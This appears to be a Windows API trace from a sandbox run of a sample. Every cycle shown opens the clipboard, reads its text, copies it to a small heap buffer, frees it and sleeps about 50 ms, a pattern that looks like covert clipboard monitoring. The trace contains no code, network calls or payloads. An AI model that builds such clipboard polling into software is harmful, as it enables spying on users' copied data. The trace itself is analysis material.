[0134.667] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaaf4ff79, dwHighDateTime=0x1d96e12))
[0134.667] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.667] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0134.667] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0134.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0134.667] GlobalUnlock (hMem=0x5e00e8) returned 1
[0134.668] CloseClipboard () returned 1
[0134.668] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0134.668] Sleep (dwMilliseconds=0x32)
[0134.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaafe88a9, dwHighDateTime=0x1d96e12))
[0134.730] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.730] GetClipboardData (uFormat=0x1) returned 0x5e0418
[0134.730] GlobalLock (hMem=0x5e0418) returned 0x5e0418
[0134.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deaf8
[0134.731] GlobalUnlock (hMem=0x5e0418) returned 1
[0134.731] CloseClipboard () returned 1
[0134.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deaf8 | out: hHeap=0x5b0000) returned 1
[0134.731] Sleep (dwMilliseconds=0x32)
[0134.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab081238, dwHighDateTime=0x1d96e12))
[0134.792] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.792] GetClipboardData (uFormat=0x1) returned 0x5dfea8
[0134.792] GlobalLock (hMem=0x5dfea8) returned 0x5dfea8
[0134.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0134.792] GlobalUnlock (hMem=0x5dfea8) returned 1
[0134.793] CloseClipboard () returned 1
[0134.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0134.793] Sleep (dwMilliseconds=0x32)
[0134.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab119b78, dwHighDateTime=0x1d96e12))
[0134.855] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.855] GetClipboardData (uFormat=0x1) returned 0x5e0418
[0134.856] GlobalLock (hMem=0x5e0418) returned 0x5e0418
[0134.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dec10
[0134.856] GlobalUnlock (hMem=0x5e0418) returned 1
[0134.856] CloseClipboard () returned 1
[0134.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dec10 | out: hHeap=0x5b0000) returned 1
[0134.856] Sleep (dwMilliseconds=0x32)
[0134.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab1b24c2, dwHighDateTime=0x1d96e12))
[0134.917] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.917] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0134.917] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0134.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0134.918] GlobalUnlock (hMem=0x5dfe78) returned 1
[0134.918] CloseClipboard () returned 1
[0134.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0134.918] Sleep (dwMilliseconds=0x32)
[0134.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab24ae5e, dwHighDateTime=0x1d96e12))
[0134.980] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.980] GetClipboardData (uFormat=0x1) returned 0x5e0148
[0134.980] GlobalLock (hMem=0x5e0148) returned 0x5e0148
[0134.980] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0134.980] GlobalUnlock (hMem=0x5e0148) returned 1
[0134.981] CloseClipboard () returned 1
[0134.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0134.981] Sleep (dwMilliseconds=0x32)
[0135.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab2e37c3, dwHighDateTime=0x1d96e12))
[0135.043] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.043] GetClipboardData (uFormat=0x1) returned 0x5e0028
[0135.043] GlobalLock (hMem=0x5e0028) returned 0x5e0028
[0135.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0135.043] GlobalUnlock (hMem=0x5e0028) returned 1
[0135.043] CloseClipboard () returned 1
[0135.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0135.043] Sleep (dwMilliseconds=0x32)
[0135.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab37c117, dwHighDateTime=0x1d96e12))
[0135.108] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.108] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0135.108] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0135.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea88
[0135.108] GlobalUnlock (hMem=0x5e00e8) returned 1
[0135.109] CloseClipboard () returned 1
[0135.109] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea88 | out: hHeap=0x5b0000) returned 1
[0135.109] Sleep (dwMilliseconds=0x32)
[0135.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab414a82, dwHighDateTime=0x1d96e12))
[0135.171] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.171] GetClipboardData (uFormat=0x1) returned 0x5e0208
[0135.173] GlobalLock (hMem=0x5e0208) returned 0x5e0208
[0135.173] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0135.176] GlobalUnlock (hMem=0x5e0208) returned 1
[0135.177] CloseClipboard () returned 1
[0135.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0135.178] Sleep (dwMilliseconds=0x32)
[0135.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab4d3590, dwHighDateTime=0x1d96e12))
[0135.245] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.245] GetClipboardData (uFormat=0x1) returned 0x5e0388
[0135.246] GlobalLock (hMem=0x5e0388) returned 0x5e0388
[0135.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0135.246] GlobalUnlock (hMem=0x5e0388) returned 1
[0135.246] CloseClipboard () returned 1
[0135.246] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0135.246] Sleep (dwMilliseconds=0x32)
[0135.308] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab56bef5, dwHighDateTime=0x1d96e12))
[0135.308] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.308] GetClipboardData (uFormat=0x1) returned 0x5dff68
[0135.308] GlobalLock (hMem=0x5dff68) returned 0x5dff68
[0135.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de8c8
[0135.308] GlobalUnlock (hMem=0x5dff68) returned 1
[0135.308] CloseClipboard () returned 1
[0135.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de8c8 | out: hHeap=0x5b0000) returned 1
[0135.308] Sleep (dwMilliseconds=0x32)
[0135.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab6048da, dwHighDateTime=0x1d96e12))
[0135.370] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.370] GetClipboardData (uFormat=0x1) returned 0x5dffc8
[0135.371] GlobalLock (hMem=0x5dffc8) returned 0x5dffc8
[0135.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0135.371] GlobalUnlock (hMem=0x5dffc8) returned 1
[0135.371] CloseClipboard () returned 1
[0135.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0135.371] Sleep (dwMilliseconds=0x32)
[0135.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab69d21a, dwHighDateTime=0x1d96e12))
[0135.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.433] GetClipboardData (uFormat=0x1) returned 0x5e0388
[0135.433] GlobalLock (hMem=0x5e0388) returned 0x5e0388
[0135.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0135.433] GlobalUnlock (hMem=0x5e0388) returned 1
[0135.433] CloseClipboard () returned 1
[0135.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0135.434] Sleep (dwMilliseconds=0x32)
[0135.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab735bfe, dwHighDateTime=0x1d96e12))
[0135.496] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.496] GetClipboardData (uFormat=0x1) returned 0x5dfed8
[0135.496] GlobalLock (hMem=0x5dfed8) returned 0x5dfed8
[0135.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0135.496] GlobalUnlock (hMem=0x5dfed8) returned 1
[0135.496] CloseClipboard () returned 1
[0135.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0135.497] Sleep (dwMilliseconds=0x32)
[0135.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab7ce4d6, dwHighDateTime=0x1d96e12))
[0135.558] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.558] GetClipboardData (uFormat=0x1) returned 0x5e0208
[0135.558] GlobalLock (hMem=0x5e0208) returned 0x5e0208
[0135.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0135.558] GlobalUnlock (hMem=0x5e0208) returned 1
[0135.558] CloseClipboard () returned 1
[0135.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0135.559] Sleep (dwMilliseconds=0x32)
[0135.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xab99818c, dwHighDateTime=0x1d96e12))
[0135.752] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.752] GetClipboardData (uFormat=0x1) returned 0x5e0268
[0135.752] GlobalLock (hMem=0x5e0268) returned 0x5e0268
[0135.752] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0135.752] GlobalUnlock (hMem=0x5e0268) returned 1
[0135.752] CloseClipboard () returned 1
[0135.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0135.752] Sleep (dwMilliseconds=0x32)
[0135.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaba30b01, dwHighDateTime=0x1d96e12))
[0135.808] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.808] GetClipboardData (uFormat=0x1) returned 0x5dff98
[0135.808] GlobalLock (hMem=0x5dff98) returned 0x5dff98
[0135.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de778
[0135.808] GlobalUnlock (hMem=0x5dff98) returned 1
[0135.808] CloseClipboard () returned 1
[0135.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de778 | out: hHeap=0x5b0000) returned 1
[0135.808] Sleep (dwMilliseconds=0x32)
[0135.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabaae1fd, dwHighDateTime=0x1d96e12))
[0135.859] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.859] GetClipboardData (uFormat=0x1) returned 0x5dff38
[0135.859] GlobalLock (hMem=0x5dff38) returned 0x5dff38
[0135.859] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0135.859] GlobalUnlock (hMem=0x5dff38) returned 1
[0135.859] CloseClipboard () returned 1
[0135.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0135.860] Sleep (dwMilliseconds=0x32)
[0135.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabb3437f, dwHighDateTime=0x1d96e12))
[0135.921] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.921] GetClipboardData (uFormat=0x1) returned 0x5e0388
[0135.922] GlobalLock (hMem=0x5e0388) returned 0x5e0388
[0135.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0135.922] GlobalUnlock (hMem=0x5e0388) returned 1
[0135.922] CloseClipboard () returned 1
[0135.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0135.922] Sleep (dwMilliseconds=0x32)
[0135.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabbcccd6, dwHighDateTime=0x1d96e12))
[0135.977] OpenClipboard (hWndNewOwner=0x0) returned 1
[0135.977] GetClipboardData (uFormat=0x1) returned 0x5e0028
[0135.977] GlobalLock (hMem=0x5e0028) returned 0x5e0028
[0135.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0135.977] GlobalUnlock (hMem=0x5e0028) returned 1
[0135.977] CloseClipboard () returned 1
[0135.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0135.977] Sleep (dwMilliseconds=0x32)
[0136.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabc655f6, dwHighDateTime=0x1d96e12))
[0136.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.039] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0136.040] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0136.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0136.040] GlobalUnlock (hMem=0x5dfe78) returned 1
[0136.040] CloseClipboard () returned 1
[0136.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0136.040] Sleep (dwMilliseconds=0x32)
[0136.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabcfe02d, dwHighDateTime=0x1d96e12))
[0136.102] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.102] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0136.102] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0136.102] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0136.102] GlobalUnlock (hMem=0x5dfe78) returned 1
[0136.103] CloseClipboard () returned 1
[0136.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0136.103] Sleep (dwMilliseconds=0x32)
[0136.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabd96901, dwHighDateTime=0x1d96e12))
[0136.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.164] GetClipboardData (uFormat=0x1) returned 0x5dff68
[0136.164] GlobalLock (hMem=0x5dff68) returned 0x5dff68
[0136.164] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea50
[0136.164] GlobalUnlock (hMem=0x5dff68) returned 1
[0136.164] CloseClipboard () returned 1
[0136.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea50 | out: hHeap=0x5b0000) returned 1
[0136.165] Sleep (dwMilliseconds=0x32)
[0136.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabe2f2e1, dwHighDateTime=0x1d96e12))
[0136.227] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.227] GetClipboardData (uFormat=0x1) returned 0x5e0148
[0136.227] GlobalLock (hMem=0x5e0148) returned 0x5e0148
[0136.227] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea50
[0136.227] GlobalUnlock (hMem=0x5e0148) returned 1
[0136.227] CloseClipboard () returned 1
[0136.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea50 | out: hHeap=0x5b0000) returned 1
[0136.228] Sleep (dwMilliseconds=0x32)
[0136.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabec7c01, dwHighDateTime=0x1d96e12))
[0136.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.289] GetClipboardData (uFormat=0x1) returned 0x5e0148
[0136.289] GlobalLock (hMem=0x5e0148) returned 0x5e0148
[0136.289] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0136.289] GlobalUnlock (hMem=0x5e0148) returned 1
[0136.289] CloseClipboard () returned 1
[0136.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0136.290] Sleep (dwMilliseconds=0x32)
[0136.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabf6056f, dwHighDateTime=0x1d96e12))
[0136.355] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.355] GetClipboardData (uFormat=0x1) returned 0x5e01a8
[0136.356] GlobalLock (hMem=0x5e01a8) returned 0x5e01a8
[0136.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0136.356] GlobalUnlock (hMem=0x5e01a8) returned 1
[0136.356] CloseClipboard () returned 1
[0136.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0136.356] Sleep (dwMilliseconds=0x32)
[0136.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xabff8e4f, dwHighDateTime=0x1d96e12))
[0136.414] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.414] GetClipboardData (uFormat=0x1) returned 0x5e0058
[0136.414] GlobalLock (hMem=0x5e0058) returned 0x5e0058
[0136.414] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de8c8
[0136.415] GlobalUnlock (hMem=0x5e0058) returned 1
[0136.415] CloseClipboard () returned 1
[0136.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de8c8 | out: hHeap=0x5b0000) returned 1
[0136.415] Sleep (dwMilliseconds=0x32)
[0136.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac09183b, dwHighDateTime=0x1d96e12))
[0136.477] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.477] GetClipboardData (uFormat=0x1) returned 0x5dfed8
[0136.477] GlobalLock (hMem=0x5dfed8) returned 0x5dfed8
[0136.477] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0136.477] GlobalUnlock (hMem=0x5dfed8) returned 1
[0136.477] CloseClipboard () returned 1
[0136.477] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0136.477] Sleep (dwMilliseconds=0x32)
[0136.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac12a16c, dwHighDateTime=0x1d96e12))
[0136.539] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.539] GetClipboardData (uFormat=0x1) returned 0x5e0178
[0136.539] GlobalLock (hMem=0x5e0178) returned 0x5e0178
[0136.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0136.540] GlobalUnlock (hMem=0x5e0178) returned 1
[0136.540] CloseClipboard () returned 1
[0136.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0136.540] Sleep (dwMilliseconds=0x32)
[0136.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac1c2af3, dwHighDateTime=0x1d96e12))
[0136.602] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.602] GetClipboardData (uFormat=0x1) returned 0x5e0418
[0136.602] GlobalLock (hMem=0x5e0418) returned 0x5e0418
[0136.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0136.602] GlobalUnlock (hMem=0x5e0418) returned 1
[0136.602] CloseClipboard () returned 1
[0136.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0136.602] Sleep (dwMilliseconds=0x32)
[0136.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac25b459, dwHighDateTime=0x1d96e12))
[0136.664] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.664] GetClipboardData (uFormat=0x1) returned 0x5e0418
[0136.664] GlobalLock (hMem=0x5e0418) returned 0x5e0418
[0136.664] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deaf8
[0136.664] GlobalUnlock (hMem=0x5e0418) returned 1
[0136.664] CloseClipboard () returned 1
[0136.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deaf8 | out: hHeap=0x5b0000) returned 1
[0136.665] Sleep (dwMilliseconds=0x32)
[0136.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac2d8696, dwHighDateTime=0x1d96e12))
[0136.715] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.715] GetClipboardData (uFormat=0x1) returned 0x5dff98
[0136.716] GlobalLock (hMem=0x5dff98) returned 0x5dff98
[0136.716] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0136.716] GlobalUnlock (hMem=0x5dff98) returned 1
[0136.716] CloseClipboard () returned 1
[0136.716] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0136.716] Sleep (dwMilliseconds=0x32)
[0136.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac36840b, dwHighDateTime=0x1d96e12))
[0136.774] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.774] GetClipboardData (uFormat=0x1) returned 0x5e0388
[0136.775] GlobalLock (hMem=0x5e0388) returned 0x5e0388
[0136.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0136.775] GlobalUnlock (hMem=0x5e0388) returned 1
[0136.775] CloseClipboard () returned 1
[0136.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0136.775] Sleep (dwMilliseconds=0x32)
[0136.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac400cbc, dwHighDateTime=0x1d96e12))
[0136.837] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.837] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0136.837] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0136.837] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0136.837] GlobalUnlock (hMem=0x5e00e8) returned 1
[0136.837] CloseClipboard () returned 1
[0136.837] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0136.837] Sleep (dwMilliseconds=0x32)
[0136.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac47d5d4, dwHighDateTime=0x1d96e12))
[0136.888] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.888] GetClipboardData (uFormat=0x1) returned 0x5e0268
[0136.888] GlobalLock (hMem=0x5e0268) returned 0x5e0268
[0136.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea50
[0136.888] GlobalUnlock (hMem=0x5e0268) returned 1
[0136.888] CloseClipboard () returned 1
[0136.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea50 | out: hHeap=0x5b0000) returned 1
[0136.889] Sleep (dwMilliseconds=0x32)
[0136.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac51bf53, dwHighDateTime=0x1d96e12))
[0136.953] OpenClipboard (hWndNewOwner=0x0) returned 1
[0136.954] GetClipboardData (uFormat=0x1) returned 0x5e01a8
[0136.954] GlobalLock (hMem=0x5e01a8) returned 0x5e01a8
[0136.954] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0136.954] GlobalUnlock (hMem=0x5e01a8) returned 1
[0136.954] CloseClipboard () returned 1
[0136.954] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0136.955] Sleep (dwMilliseconds=0x32)
[0137.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xac5b49b3, dwHighDateTime=0x1d96e12))
[0137.015] OpenClipboard (hWndNewOwner=0x0) returned 1
[0137.015] GetClipboardData (uFormat=0x1) returned 0x5e0268
[0137.016] GlobalLock (hMem=0x5e0268) returned 0x5e0268
[0137.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0137.016] GlobalUnlock (hMem=0x5e0268) returned 1
[0137.016] CloseClipboard () returned 1
[0137.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
